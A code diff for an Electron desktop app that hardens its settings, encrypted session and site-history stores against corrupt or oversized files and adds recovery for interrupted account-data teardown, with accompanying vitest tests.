const envelope: EncryptedDirectoryEnvelope = {
version: DIRECTORY_VERSION,
payload: this.encryption.encryptString(JSON.stringify(records)).toString('base64'),
payload: this.encryption.encryptString(payload).toString('base64'),
}
await writeJsonFileAtomically(this.filePath, envelope)
return true
}
private enqueueMutation<T>(operation: () => Promise<T>): Promise<T> {
const result = this.mutationTail.then(operation)
this.mutationTail = result.then(
() => undefined,
() => undefined
)
return result
}
async list(): Promise<SiteRecord[]> {
return this.read()
}
@@ -170,28 +241,34 @@ export class SiteDirectory {
* importing a second profile should add to what the browser knows, not
* strip the first profile's sites of their names.
*/
async remember(records: readonly SiteRecord[]): Promise<void> {
if (records.length === 0 || !this.isAvailable()) return
const merged = new Map<string, SiteRecord>()
for (const existing of await this.read()) merged.set(existing.hostname, existing)
for (const incoming of records) {
if (!incoming.hostname) continue
const existing = merged.get(incoming.hostname)
merged.set(incoming.hostname, {
hostname: incoming.hostname,
name: incoming.name ?? existing?.name,
icon: incoming.icon ?? existing?.icon,
// The most-used of the profiles a host was seen in wins, so re-importing
// a profile that barely touches a site cannot demote it.
visits: maxDefined(incoming.visits, existing?.visits),
importedAt: incoming.importedAt ?? existing?.importedAt,
})
}
await this.write(evictExcess([...merged.values()]))
remember(records: readonly SiteRecord[]): Promise<void> {
if (records.length === 0) return Promise.resolve()
return this.enqueueMutation(async () => {
if (!this.isAvailable()) return
const merged = new Map<string, SiteRecord>()
for (const existing of await this.read()) merged.set(existing.hostname, existing)
for (const incoming of records) {
if (!isSiteRecord(incoming)) continue
const existing = merged.get(incoming.hostname)
merged.set(incoming.hostname, {
hostname: incoming.hostname,
name: incoming.name ?? existing?.name,
icon: incoming.icon ?? existing?.icon,
// The most-used of the profiles a host was seen in wins, so re-importing
// a profile that barely touches a site cannot demote it.
visits: maxDefined(incoming.visits, existing?.visits),
importedAt: incoming.importedAt ?? existing?.importedAt,
})
}
await this.write(evictExcess([...merged.values()]))
})
}
/** Forgets every site. Runs with the rest of the browser teardown. */
async clear(): Promise<void> {
await removeFileIfPresent(this.filePath)
clear(): Promise<void> {
return this.enqueueMutation(async () => {
await removeFileIfPresent(this.filePath)
this.persistenceState = 'writable'
})
}
}
+68 -6
View File
@@ -1,6 +1,6 @@
import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { dirname, join } from 'node:path'
import { describe, expect, it } from 'vitest'
import {
APP_NAME_FOR_CHANNEL,
@@ -180,23 +180,58 @@ describe('createConfigStore', () => {
expect(reloaded.getOrigin()).toBe('https://www.sim.ai')
})
it('recovers from a corrupted settings file', () => {
it('uses safe defaults until an explicit server choice replaces the corrupt file', () => {
const filePath = tempSettingsPath()
writeFileSync(filePath, '{not json')
const original = '{not json'
writeFileSync(filePath, original)
const store = createConfigStore(filePath, {})
expect(store.isPersistenceAvailable()).toBe(false)
expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
store.set('zoomLevel', 1.5)
store.flush()
expect(readFileSync(filePath, 'utf8')).toBe(original)
expect(store.setOrigin('https://self-hosted.example')).toEqual({
ok: true,
origin: 'https://self-hosted.example',
})
expect(store.isPersistenceAvailable()).toBe(true)
expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://self-hosted.example')
const settingsDirectory = dirname(filePath)
const backups = readdirSync(settingsDirectory).filter((name) => name.includes('.corrupt-'))
expect(backups).toHaveLength(0)
})
it('falls back to the default origin when the stored origin is invalid', () => {
it('does not carry settings across an invalid stored origin or retain them after repair', () => {
const filePath = tempSettingsPath()
writeFileSync(filePath, JSON.stringify({ origin: 'http://evil.example' }))
const original = JSON.stringify({
origin: 'http://evil.example',
browserKnownSites: [{ hostname: 'private.example', lastVisitedAt: '2026-01-01' }],
browserDownloadDirectory: '/private/downloads',
})
writeFileSync(filePath, original)
const store = createConfigStore(filePath, {})
expect(store.isPersistenceAvailable()).toBe(false)
expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
expect(store.get('browserKnownSites')).toBeUndefined()
expect(store.get('browserDownloadDirectory')).toBeUndefined()
store.set('zoomLevel', 2)
store.flush()
expect(readFileSync(filePath, 'utf8')).toBe(original)
expect(store.setOrigin('https://self-hosted.example').ok).toBe(true)
const repaired = JSON.parse(readFileSync(filePath, 'utf8'))
expect(repaired.browserKnownSites).toBeUndefined()
expect(repaired.browserDownloadDirectory).toBeUndefined()
expect(readFileSync(filePath, 'utf8')).not.toContain('private.example')
})
it('honors a valid SIM_DESKTOP_ORIGIN override without persisting it', () => {
const filePath = tempSettingsPath()
const store = createConfigStore(filePath, { SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:4600' })
expect(store.isPersistenceAvailable()).toBe(true)
expect(store.getOrigin()).toBe('http://127.0.0.1:4600')
store.set('zoomLevel', 1)
store.flush()
@@ -236,6 +271,33 @@ describe('createConfigStore', () => {
expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://sim.example.com')
})
it('keeps the active origin unchanged when its immediate write fails', () => {
const filePath = tempSettingsPath()
const parent = dirname(filePath)
const store = createConfigStore(filePath, {})
rmSync(parent, { recursive: true })
writeFileSync(parent, 'not a directory')
try {
expect(store.setOrigin('https://sim.example.com')).toEqual({
ok: false,
error: 'Could not save the desktop settings file',
})
expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
expect(store.isPersistenceAvailable()).toBe(false)
rmSync(parent)
mkdirSync(parent)
expect(store.setOrigin('https://sim.example.com')).toEqual({
ok: true,
origin: 'https://sim.example.com',
})
expect(store.isPersistenceAvailable()).toBe(true)
} finally {
rmSync(parent, { recursive: true, force: true })
}
})
it('ignores an invalid SIM_DESKTOP_ORIGIN override', () => {
const store = createConfigStore(tempSettingsPath(), {
SIM_DESKTOP_ORIGIN: 'http://evil.example',
+61 -19
View File
@@ -240,12 +240,13 @@ const DEFAULT_SETTINGS: DesktopSettings = {
export interface ConfigStore {
readonly filePath: string
isPersistenceAvailable(): boolean
getOrigin(): string
setOrigin(origin: string): OriginValidation
get<K extends keyof DesktopSettings>(key: K): DesktopSettings[K]
set<K extends keyof DesktopSettings>(key: K, value: DesktopSettings[K]): void
/** Writes any debounced change immediately. Called on quit. */
flush(): void
/** Writes any debounced change immediately and reports whether persistence is healthy. */
flush(): boolean
}
/**
@@ -277,21 +278,38 @@ export function createConfigStore(
): ConfigStore {
let settings: DesktopSettings = { ...DEFAULT_SETTINGS }
let rewroteOrigin = false
let persistenceBlocked = false
try {
const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as Partial<DesktopSettings>
settings = { ...DEFAULT_SETTINGS, ...parsed }
const validated = validateOriginInput(settings.origin)
const loaded = validated.ok ? validated.origin : DEFAULT_ORIGIN
settings.origin = canonicalOrigin(loaded)
rewroteOrigin = settings.origin !== loaded
if (rewroteOrigin) {
logger.info('Rewrote stored server origin to its canonical form', {
from: loaded,
to: settings.origin,
})
const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as unknown
if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
persistenceBlocked = true
} else {
const loadedSettings = { ...DEFAULT_SETTINGS, ...(parsed as Partial<DesktopSettings>) }
const validated = validateOriginInput(loadedSettings.origin)
if (!validated.ok) {
persistenceBlocked = true
} else {
const loaded = validated.origin
settings = loadedSettings
settings.origin = canonicalOrigin(loaded)
rewroteOrigin = settings.origin !== loaded
if (rewroteOrigin) {
logger.info('Rewrote stored server origin to its canonical form', {
from: loaded,
to: settings.origin,
})
}
}
}
} catch {
} catch (error) {
if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
persistenceBlocked = true
}
}
if (persistenceBlocked) {
settings = { ...DEFAULT_SETTINGS }
rewroteOrigin = false
logger.warn('Desktop settings persistence is unavailable because the existing file is invalid')
}
const envOverride = env.SIM_DESKTOP_ORIGIN ? validateOriginInput(env.SIM_DESKTOP_ORIGIN) : null
@@ -302,13 +320,17 @@ export function createConfigStore(
let saveTimer: ReturnType<typeof setTimeout> | null = null
/** Writes the whole file now and cancels any pending debounced write. */
const writeNow = () => {
const writeNow = (): boolean => {
if (saveTimer) clearTimeout(saveTimer)
saveTimer = null
if (persistenceBlocked) return false
try {
writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT)
return true
} catch (error) {
persistenceBlocked = true
logger.error('Failed to persist desktop settings', { error })
return false
}
}
@@ -322,7 +344,7 @@ export function createConfigStore(
* not were paying a full fsync per event.
*/
const save = () => {
if (saveTimer) return
if (persistenceBlocked || saveTimer) return
saveTimer = setTimeout(writeNow, SAVE_DEBOUNCE_MS)
saveTimer.unref?.()
}
@@ -337,6 +359,9 @@ export function createConfigStore(
return {
filePath,
isPersistenceAvailable() {
return !persistenceBlocked
},
getOrigin() {
if (envOverride?.ok) {
return envOverride.origin
@@ -355,17 +380,35 @@ export function createConfigStore(
// only repairs it on the next launch. The canonical origin is also
// returned so the caller sees what was actually stored.
const origin = canonicalOrigin(validated.origin)
if (persistenceBlocked) {
const previousOrigin = settings.origin
try {
settings.origin = origin
writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT)
persistenceBlocked = false
logger.warn('Recovered desktop settings persistence')
return { ok: true, origin }
} catch (error) {
settings.origin = previousOrigin
logger.error('Could not recover invalid desktop settings', { error })
return { ok: false, error: 'Could not repair the desktop settings file' }
}
}
// Re-confirming the origin already stored is the common case in the
// server picker, and setOrigin's write is a synchronous mkdir + whole-file
// write + rename on the main thread. There is nothing to persist.
if (origin === settings.origin) {
return { ok: true, origin }
}
const previousOrigin = settings.origin
settings.origin = origin
// Not debounced: changing the origin tears the session down and
// reloads, so a pending write could be lost on the way out — and this
// is the one setting whose loss strands the app on the wrong server.
writeNow()
if (!writeNow()) {
settings.origin = previousOrigin
return { ok: false, error: 'Could not save the desktop settings file' }
}
return { ok: true, origin }
},
get(key) {
@@ -383,8 +426,7 @@ export function createConfigStore(
save()
},
flush() {
if (!saveTimer) return
writeNow()
return saveTimer ? writeNow() : !persistenceBlocked
},
}
}
@@ -1,4 +1,12 @@
import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'
import {
existsSync,
mkdtempSync,
readFileSync,
rmSync,
statSync,
truncateSync,
writeFileSync,
} from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
@@ -121,6 +129,38 @@ describe('DesktopChatSessionStore', () => {
expect(statSync(filePath).mode & 0o077).toBe(0)
})
it('does not replace the durable store with an oversized encrypted envelope', () => {
const provider = encryption()
const store = open(provider)
store.setTerminal(ORIGIN, 'chat-existing', TERMINAL)
expect(store.flush()).toBe(true)
const existing = readFileSync(filePath, 'utf8')
vi.mocked(provider.encryptString).mockReturnValueOnce(Buffer.alloc(8 * 1024 * 1024))
store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
expect(store.flush()).toBe(false)
expect(readFileSync(filePath, 'utf8')).toBe(existing)
expect(store.flush()).toBe(true)
expect(readFileSync(filePath, 'utf8')).not.toBe(existing)
})
it('preserves an oversized store until explicit clear resets persistence', () => {
writeFileSync(filePath, '')
truncateSync(filePath, 10 * 1024 * 1024 + 1)
const store = open(encryption())
expect(store.initialize()).toBe(false)
store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
expect(store.flush()).toBe(false)
expect(statSync(filePath).size).toBe(10 * 1024 * 1024 + 1)
store.clear()
store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
expect(store.flush()).toBe(true)
})
it('keeps a pending chat in memory until migration promotes it to a durable chat id', () => {
const provider = encryption()
const pending = open(provider)
@@ -245,6 +285,28 @@ describe('DesktopChatSessionStore', () => {
expect(terminal?.activeIndex).toBe(11)
})
it('bounds persisted browser tabs while retaining pinned and active entries', () => {
const store = open()
const tabs = Array.from({ length: 40 }, (_, index) => ({
url: `https://tab-${index}.example/`,
pinned: index < 4,
}))
expect(
store.setBrowser(ORIGIN, 'chat-bounded', {
v: 1,
tabs,
activeIndex: tabs.length - 1,
downloads: [],
})
).toBe(true)
const snapshot = store.getBrowser(ORIGIN, 'chat-bounded')
expect(snapshot?.tabs).toHaveLength(32)
expect(snapshot?.tabs.filter((tab) => tab.pinned)).toHaveLength(4)
expect(snapshot?.tabs[snapshot.activeIndex]?.url).toBe('https://tab-39.example/')
})
it('filters unsafe or malformed values while loading an encrypted payload', () => {
const provider = encryption()
writeEncryptedPayload(provider, {
@@ -1,13 +1,15 @@
import { readFileSync, unlinkSync } from 'node:fs'
import { unlinkSync } from 'node:fs'
import { isAbsolute } from 'node:path'
import { isDesktopScopeId, isPendingDesktopScopeId } from '@sim/desktop-bridge'
import { isRecordLike } from '@sim/utils/object'
import { safeStorage } from 'electron'
import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
import { readFileWithinLimitSync, writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
const STORE_VERSION = 1
const SNAPSHOT_VERSION = 1
const MAX_DURABLE_ENTRIES = 100
const MAX_STORE_BYTES = 10 * 1024 * 1024
const MAX_BROWSER_TABS = 32
const MAX_ORIGIN_LENGTH = 2_048
const MAX_URL_LENGTH = 8_192
const MAX_CWD_LENGTH = 4_096
@@ -141,13 +143,54 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null
return null
}
const tabs: BrowserSessionSnapshot['tabs'] = []
for (const candidate of value.tabs) {
const requestedActiveIndex =
typeof value.activeIndex === 'number' && Number.isInteger(value.activeIndex)
? value.activeIndex
: 0
const activeSourceIndex =
requestedActiveIndex >= 0 && requestedActiveIndex < value.tabs.length
? requestedActiveIndex
: null
const selectedTabs: Array<{
tab: BrowserSessionSnapshot['tabs'][number]
sourceIndex: number
}> = []
const replaceableTabIndex = (): number => {
for (let index = selectedTabs.length - 1; index >= 0; index--) {
const entry = selectedTabs[index]
if (entry.sourceIndex !== activeSourceIndex && !entry.tab.pinned) return index
}
return -1
}
for (let sourceIndex = 0; sourceIndex < value.tabs.length; sourceIndex++) {
const candidate = value.tabs[sourceIndex]
if (!isRecordLike(candidate) || typeof candidate.pinned !== 'boolean') continue
const url = normalizeBrowserUrl(candidate.url)
if (url === null) continue
tabs.push({ url, pinned: candidate.pinned })
const next = { tab: { url, pinned: candidate.pinned }, sourceIndex }
if (selectedTabs.length < MAX_BROWSER_TABS) {
selectedTabs.push(next)
continue
}
if (sourceIndex === activeSourceIndex) {
const replacementIndex = replaceableTabIndex()
selectedTabs[replacementIndex >= 0 ? replacementIndex : selectedTabs.length - 1] = next
continue
}
if (candidate.pinned) {
const replacementIndex = replaceableTabIndex()
if (replacementIndex >= 0) selectedTabs[replacementIndex] = next
}
}
selectedTabs.sort((left, right) => left.sourceIndex - right.sourceIndex)
const tabs = selectedTabs.map(({ tab }) => tab)
const selectedActiveIndex = selectedTabs.findIndex(
({ sourceIndex }) => sourceIndex === activeSourceIndex
)
const activeIndex =
selectedActiveIndex >= 0
? selectedActiveIndex
: normalizeActiveIndex(requestedActiveIndex, tabs.length)
const downloads: BrowserSessionSnapshot['downloads'] = []
for (const candidate of value.downloads) {
@@ -193,7 +236,7 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null
return {
v: SNAPSHOT_VERSION,
tabs,
activeIndex: normalizeActiveIndex(value.activeIndex, tabs.length),
activeIndex,
downloads,
}
}
@@ -275,7 +318,9 @@ export class DesktopChatSessionStore {
if (!this.isAvailable()) return false
try {
const envelope = JSON.parse(readFileSync(this.filePath, 'utf8')) as unknown
const envelope = JSON.parse(
readFileWithinLimitSync(this.filePath, MAX_STORE_BYTES).toString('utf8')
) as unknown
if (
!isRecordLike(envelope) ||
envelope.v !== STORE_VERSION ||
@@ -297,19 +342,20 @@ export class DesktopChatSessionStore {
const loaded: SessionEntry[] = []
for (const candidate of payload.entries) {
const entry = this.normalizeEntry(candidate)
if (entry && isDurableScope(entry.scope)) loaded.push(entry)
if (!entry || !isDurableScope(entry.scope)) continue
loaded.push(entry)
loaded.sort(
(left, right) =>
right.lastAccessedAt - left.lastAccessedAt ||
keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope))
)
if (loaded.length > MAX_DURABLE_ENTRIES) loaded.pop()
}
loaded.sort(
(left, right) =>
right.lastAccessedAt - left.lastAccessedAt ||
keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope))
)
for (const [key, entry] of this.entries) {
if (isDurableScope(entry.scope)) this.entries.delete(key)
}
for (const entry of loaded.slice(0, MAX_DURABLE_ENTRIES)) {
for (const entry of loaded) {
this.entries.set(keyFor(entry.origin, entry.scope), entry)
this.accessClock = Math.max(this.accessClock, entry.lastAccessedAt)
}
@@ -496,6 +542,7 @@ export class DesktopChatSessionStore {
v: STORE_VERSION,
ciphertext: this.encryption.encryptString(JSON.stringify(payload)).toString('base64'),
}
if (Buffer.byteLength(JSON.stringify(envelope), 'utf8') > MAX_STORE_BYTES) return false
writeJsonFileAtomicallySync(this.filePath, envelope)
this.dirty = false
return true
+221 -66
View File
@@ -1,8 +1,19 @@
import { join } from 'node:path'
import { join, resolve } from 'node:path'
import { createLogger } from '@sim/logger'
import { getErrorMessage } from '@sim/utils/errors'
import type { OpenDialogOptions, Session, WebContents } from 'electron'
import { app, BrowserWindow, crashReporter, dialog, net, session } from 'electron'
import { app, BrowserWindow, crashReporter, dialog, net, session, shell } from 'electron'
import {
beginAccountDataTeardown,
completeDeploymentScopedTeardown,
getAccountDataTeardownKind,
getAccountDataTeardownOrigin,
initializeAccountDataRecovery,
isAccountDataTeardownRequired,
prepareAccountDataTeardownForQuit,
retryAccountDataTeardown,
waitForAccountDataMutations,
} from '@/main/account-data-generation'
import { newChatRoute, settingsRoute } from '@/main/app-routes'
import {
activateBrowserScope as activateAgentBrowserScope,
@@ -48,11 +59,12 @@ import { LocalFilesystemService } from '@/main/local-filesystem'
import { createEncryptedLocalFilesystemGrantStore } from '@/main/local-filesystem-grant-store'
import { installApplicationMenu } from '@/main/menu'
import { openExternalSafe } from '@/main/navigation'
import { createEventLog } from '@/main/observability'
import { createEventLog, installMainProcessFailureObservers } from '@/main/observability'
import { ScopedEventRouter } from '@/main/scoped-event-router'
import { installGlobalGuards } from '@/main/security-guards'
import { createServerWindow, relaunchApp } from '@/main/server-window'
import {
canRevokeIn,
createSessionLifecycleCoordinator,
decideStartRoute,
handleConnectIntercept,
@@ -72,7 +84,8 @@ const logger = createLogger('DesktopMain')
* Backstop for the sign-in flows, which are dispatched fire-and-forget from a
* loopback callback and a navigation guard. The flows record their own expected
* failures; this catches anything they do not, so a rejection cannot surface as
* an unhandled one — main registers no `unhandledRejection` handler.
* an unhandled one — the process-level observer is a last-resort restart path,
* not routine control flow.
*/
function reportHandoffFailure(error: unknown): void {
logger.error('Sign-in handoff failed', { error: getErrorMessage(error) })
@@ -90,20 +103,30 @@ const DOCK_ICON_FOR_CHANNEL = {
function main(): void {
app.enableSandbox()
const config = createConfigStore(join(app.getPath('userData'), 'settings.json'))
const events = createEventLog(join(app.getPath('userData'), 'logs'))
const userDataPath = app.getPath('userData')
const config = createConfigStore(join(userDataPath, 'settings.json'))
initializeAccountDataRecovery(join(userDataPath, 'account-data-teardown-required.json'))
const recoveryOrigin = getAccountDataTeardownOrigin()
if (isAccountDataTeardownRequired() && recoveryOrigin && !config.isPersistenceAvailable()) {
const repaired = config.setOrigin(recoveryOrigin)
if (!repaired.ok) {
logger.error('Could not repair desktop settings for account-data recovery')
}
}
const accountDataAvailable = () =>
config.isPersistenceAvailable() && !isAccountDataTeardownRequired()
const events = createEventLog(join(userDataPath, 'logs'))
const appOrigin = () => config.getOrigin()
/** Resource snapshots stay with the deployment that created this process. */
const processOrigin = appOrigin()
const recoveryPartition = `sim-settings-recovery-${process.pid}`
const appPartition = (origin = appOrigin()) =>
accountDataAvailable() ? partitionForOrigin(origin) : recoveryPartition
const desktopChatSessions = new DesktopChatSessionStore(
join(app.getPath('userData'), 'desktop-chat-sessions.json')
join(userDataPath, 'desktop-chat-sessions.json')
)
const clearDesktopChatSessions = (): void => {
try {
desktopChatSessions.clear()
} catch (error) {
logger.error('Could not clear encrypted task resource state', {
error: getErrorMessage(error),
})
}
desktopChatSessions.clear()
}
const flushDesktopChatSessions = (phase: 'before-quit' | 'will-quit'): void => {
if (!desktopChatSessions.flush()) {
@@ -112,17 +135,17 @@ function main(): void {
}
const localFilesystem = new LocalFilesystemService({
grantStore: createEncryptedLocalFilesystemGrantStore(
join(app.getPath('userData'), 'local-filesystem-grants.json')
join(userDataPath, 'local-filesystem-grants.json')
),
})
const scopeEvents = new ScopedEventRouter()
const terminal = new TerminalRegistry({
load: (scopeId) => desktopChatSessions.getTerminal(appOrigin(), scopeId) ?? undefined,
save: (scopeId, snapshot) => desktopChatSessions.setTerminal(appOrigin(), scopeId, snapshot),
load: (scopeId) => desktopChatSessions.getTerminal(processOrigin, scopeId) ?? undefined,
save: (scopeId, snapshot) => desktopChatSessions.setTerminal(processOrigin, scopeId, snapshot),
migrate: (fromScopeId, toScopeId) =>
desktopChatSessions.migrateTerminal(appOrigin(), fromScopeId, toScopeId),
desktopChatSessions.migrateTerminal(processOrigin, fromScopeId, toScopeId),
disposeScope: (scopeId) => {
desktopChatSessions.deleteScope(appOrigin(), scopeId)
desktopChatSessions.deleteScope(processOrigin, scopeId)
},
})
const preloadPath = join(__dirname, 'preload.cjs')
@@ -133,8 +156,11 @@ function main(): void {
let ensureWindowCreation: Promise<BrowserWindow> | null = null
let appSession: Session | null = null
let sessionLifecycle: ReturnType<typeof createSessionLifecycleCoordinator> | null = null
let resumingQuitAfterTeardown = false
let mandatoryRelaunchPending = false
let tray: TrayHandle | null = null
let updater: UpdaterHandle | null = null
let startupReady: Promise<void> | null = null
const configuredPartitions = new Set<string>()
const allowHttpLocalhost = () => !app.isPackaged || appOrigin().startsWith('http://')
@@ -149,6 +175,7 @@ function main(): void {
}
return getWindows().at(-1) ?? null
}
installMainProcessFailureObservers({ events, getWindow: getMainWindow })
const windowForContents = (contents: WebContents) => {
const win = BrowserWindow.fromWebContents(contents)
return win && windows.has(win) && !win.isDestroyed() ? win : null
@@ -225,7 +252,7 @@ function main(): void {
})
function configureSessionForOrigin(origin: string) {
const partition = partitionForOrigin(origin)
const partition = appPartition(origin)
const ses = session.fromPartition(partition)
if (configuredPartitions.has(partition)) {
return ses
@@ -249,41 +276,58 @@ function main(): void {
events,
getWindows,
clearHandoffState: async () => {
try {
handoff.clear()
} catch (error) {
logger.error('Could not clear sign-in handoff state', { error: getErrorMessage(error) })
}
try {
tray?.clearRecentChats()
} catch (error) {
logger.error('Could not clear recent tasks', { error: getErrorMessage(error) })
}
// Shells are account-scoped runtime state. Leaving them alive across
// sign-out would stream the previous account's output into the next
// renderer and keep its local processes running invisibly.
try {
terminal.dispose()
} catch (error) {
logger.error('Could not stop account terminal sessions', {
error: getErrorMessage(error),
})
}
clearDesktopChatSessions()
await localFilesystem.forgetAll().catch((error) => {
logger.error('Could not clear local filesystem grants', {
error: getErrorMessage(error),
const stores = [
{ label: 'sign-in handoff state', clear: () => handoff.clear() },
{ label: 'recent tasks', clear: () => tray?.clearRecentChats() },
{
label: 'renderer session state',
clear: () =>
Promise.all(
getWindows()
.filter((win) => canRevokeIn(win, appOrigin()))
.map((win) =>
win.webContents.executeJavaScript(
`(() => { sessionStorage.clear(); window.name = '' })()`,
true
)
)
).then(() => undefined),
},
// Shells are account-scoped runtime state. Leaving them alive across
// sign-out would stream the previous account's output into the next
// renderer and keep its local processes running invisibly.
{ label: 'terminal sessions', clear: () => terminal.dispose() },
{ label: 'task resource state', clear: clearDesktopChatSessions },
{ label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() },
]
const outcomes = await Promise.allSettled(
stores.map(({ clear }) => Promise.resolve().then(clear))
)
const failures = outcomes.flatMap((outcome, index) => {
if (outcome.status === 'fulfilled') return []
logger.error('Could not clear local account state', {
store: stores[index].label,
error: getErrorMessage(outcome.reason),
})
return [outcome.reason]
})
if (failures.length > 0) {
throw new AggregateError(failures, 'Local account state survived teardown.')
}
},
clearBrowserProfile: async () => {
// Browser profile teardown emits empty tab snapshots while closing its
// live views. Clear task descriptors afterward so those snapshots
// cannot recreate account-scoped state after sign-out.
const failures: unknown[] = []
await clearAgentBrowserProfile().catch((error) => failures.push(error))
try {
await clearAgentBrowserProfile()
} finally {
// Browser profile teardown emits empty tab snapshots while closing
// its live views. Clear once more afterward so those cannot recreate
// account-scoped task descriptors after sign-out.
clearDesktopChatSessions()
} catch (error) {
failures.push(error)
}
if (failures.length > 0) {
throw new AggregateError(failures, 'Browser account state survived teardown.')
}
},
})
@@ -335,10 +379,11 @@ function main(): void {
config,
events,
appOrigin,
partition: partitionForOrigin(origin),
partition: appPartition(origin),
preloadPath,
isPackaged: app.isPackaged,
restorePosition,
isMandatoryRelaunchPending: () => mandatoryRelaunchPending,
onFullScreenChange: (isFullScreen) => {
if (!win.isDestroyed()) {
win.webContents.send('desktop:window-state:changed', { isFullScreen })
@@ -373,6 +418,7 @@ function main(): void {
}
},
allowHttpLocalhost: allowHttpLocalhost(),
isMandatoryRelaunchPending: () => mandatoryRelaunchPending,
})
attachContextMenu(win.webContents, {
isDev: !app.isPackaged,
@@ -426,7 +472,7 @@ function main(): void {
}
if (!tray) {
tray = installTray({
partition: () => partitionForOrigin(appOrigin()),
partition: appPartition,
appOrigin,
lastRoute: () => config.get('lastRoute'),
openMainWindow: (route) => void openMainWindowAt(route),
@@ -482,14 +528,19 @@ function main(): void {
preloadPath,
isPackaged: app.isPackaged,
getParentWindow: getMainWindow,
prepareDeploymentScopedStateChange: () => beginAccountDataTeardown('deployment', appOrigin()),
clearDeploymentScopedState: async () => {
await waitForAccountDataMutations()
// allSettled, not sequential awaits: these are independent stores, and a
// rejection from the first must not skip the second — leaving the store
// that would have cleared fine still holding the outgoing deployment's
// access. Each failure is named so the picker can say what survived.
const stores = [
{ label: 'local file access', clear: () => localFilesystem.forgetAll() },
{ label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
{
label: 'built-in browser sessions',
clear: () => clearAgentBrowserProfile({ settingsPersistence: 'server-repair' }),
},
]
const outcomes = await Promise.allSettled(stores.map((store) => store.clear()))
return outcomes.flatMap((outcome, index) => {
@@ -501,7 +552,11 @@ function main(): void {
return [stores[index].label]
})
},
relaunch: relaunchApp,
completeDeploymentScopedStateChange: completeDeploymentScopedTeardown,
relaunch: () => {
mandatoryRelaunchPending = true
relaunchApp()
},
})
/**
@@ -513,11 +568,11 @@ function main(): void {
*/
function signOutFromMenu(): void {
ensureAppSession()
sessionLifecycle?.signOut()
void sessionLifecycle?.signOut()
}
app.on('second-instance', () => {
void app.whenReady().then(() => createAndLoadAppWindow())
void (startupReady ?? app.whenReady()).then(() => createAndLoadAppWindow())
})
app.on('window-all-closed', () => {
@@ -526,7 +581,39 @@ function main(): void {
}
})
app.on('before-quit', () => {
app.on('before-quit', (event) => {
if (!resumingQuitAfterTeardown && sessionLifecycle?.isTeardownActive()) {
event.preventDefault()
void sessionLifecycle.awaitTeardown().then((clean) => {
if (!clean && !mandatoryRelaunchPending) {
logger.error('Quit cancelled because account teardown did not finish safely')
return
}
if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) {
logger.error('Quit cancelled because account-data recovery could not be persisted')
return
}
if (!clean) {
logger.warn(
'Committed server relaunch is continuing with account-data recovery armed for startup'
)
}
resumingQuitAfterTeardown = true
app.quit()
})
return
}
/**
* A mandatory relaunch is requested only after the server-switch transaction
* has cleared deployment-scoped capabilities and committed the replacement
* origin. The ordinary quit guard must not strand that committed process on
* its old partition; any retained marker is startup retry metadata.
*/
if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) {
event.preventDefault()
logger.error('Quit cancelled because account-data recovery could not be persisted')
return
}
// Stops the tray's background chat refresh alongside the OS handles.
tray?.destroy()
tray = null
@@ -549,12 +636,13 @@ function main(): void {
})
app.on('activate', () => {
if (app.isReady() && !getMainWindow()) {
void ensureMainWindow()
}
if (!app.isReady()) return
void (startupReady ?? app.whenReady()).then(() => {
if (!getMainWindow()) return ensureMainWindow()
})
})
void app.whenReady().then(async () => {
startupReady = app.whenReady().then(async () => {
// Packaged apps keep their native bundle icon so the Dock appearance does
// not change when the process starts. Unpackaged runs have no branded
// bundle, so they still need the channel-specific development icon.
@@ -566,7 +654,57 @@ function main(): void {
version: app.getVersion(),
electron: process.versions.electron ?? '',
})
if (!desktopChatSessions.initialize()) {
if (isAccountDataTeardownRequired()) {
const kind = getAccountDataTeardownKind()
const origin = getAccountDataTeardownOrigin()
if (!origin) {
logger.error('Account-data recovery marker does not contain a trusted origin')
}
const stores = [
{ label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
{ label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() },
{
label: 'browser site history',
clear: () => {
config.set('browserKnownSites', undefined)
if (!config.flush()) throw new Error('Browser site history could not be erased')
},
},
...(kind === 'account' && origin
? [
{ label: 'sign-in handoff state', clear: () => handoff.clear() },
{ label: 'terminal sessions', clear: () => terminal.dispose() },
{ label: 'task resource state', clear: clearDesktopChatSessions },
{
label: 'app session storage',
clear: async () => {
const persistedSession = session.fromPartition(partitionForOrigin(origin))
await persistedSession.clearStorageData()
await persistedSession.clearCache()
},
},
]
: []),
]
const failures = origin
? await retryAccountDataTeardown(stores).catch((error) => {
logger.error('Could not finish interrupted account-data teardown', {
error: getErrorMessage(error),
})
return ['account-data recovery marker']
})
: ['account-data recovery marker']
if (failures.length > 0) {
logger.error('Account-data recovery remains incomplete', { stores: failures })
}
}
